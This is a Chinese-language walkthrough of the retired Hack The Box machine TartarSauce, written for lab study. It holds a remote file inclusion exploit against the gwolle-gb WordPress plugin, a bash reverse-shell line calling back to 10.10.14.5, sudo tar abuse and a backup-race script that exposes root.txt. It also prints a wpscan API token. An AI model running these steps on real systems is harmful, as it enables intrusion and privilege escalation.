HTB-靶机-TartarSauce

本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作，显示IP地址为10.10.10.88

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.88 -o ./TartarSauce-autorecon

就开放了80端口

没啥东西，想到上面nmap扫描出来了目录，都访问了下，没发现啥可利用的，再在此基础上进行目录爆破

gobuster dir -u http://10.10.10.88/webservices/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 400 -x php,jsp,txt -o bmfx-tartarSauce-gobuster

发现wp目录访问下

是个配置错误的wordpress页面，使用wpscan扫描一把

wpscan --url http://10.10.10.88/webservices/wp -e ap,t,tt,u --api-token pFokhQNG8ZFEmmntdfHfTYnrYdnvJHKtVtDuHTqTqBc

我这里测试扫描没有扫描出来gwolle ，根据网上的资料存在此插件可以利用

searchsploit gwolle
searchsploit -m 38861

https://www.exploit-db.com/exploits/38861

根据上面的exploit得出适用于目标靶机的exploit，具体如下

1.本地nc监听8833端口
2.curl -s 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.5:8833/'
3.查看nc返回的信息
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.88] 38198
GET /wp-load.php HTTP/1.0
Host: 10.10.14.5:8833
Connection: close

可以知道上面的远程文件包含漏洞测试成功，并且得知目标靶机会默认包含文件wp-load.php，可以我们本地kali构造跟其一样的名称文件，里面写入反弹shell代码即可

本地nc监听8833端口 nc -lvnp 8833
curl -s 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.5:8000/'

顺手也执行了一把sudo -l 发现可以以用户onuma不要密码的情况下执行tar命令，那么可以通过tar执行命令横向移动到用户onuma

echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.5/8866 0>&1' > bmfx.sh
tar -cvf bmfx.tar bmfx.sh

成功移动到用户onuma ，准备提权操作，下载pspy32文件在目标靶机上进行监控进程运行情况

最终得知目标靶机上有每5分钟以root权限运行的程序，查看此文件代码

#!/bin/bash

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{
    for n in $(seq 72);
    do /usr/bin/printf $"-";
    done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
    /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
    # Report errors so the dev can investigate the issue.
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # Clean up and save archive to the bkpdir.
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi

分析得知后可以通过上述程序执行的过程等待30期间进行提权查看root.txt文件，具体参考：https://0xdf.gitlab.io/2018/10/20/htb-tartarsauce.html

#!/bin/bash

# work out of shm
cd /dev/shm

# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")

# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" == "" ] ; do
    sleep 10;
    cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
done

# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .

# get filename
fn=$(echo $cur | cut -d'/' -f4)

# extract archive
tar -zxf $fn

# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt

# remove old archive
rm $fn

# create new archive
tar czf $fn var

# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var

# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt

成功拿到root.txt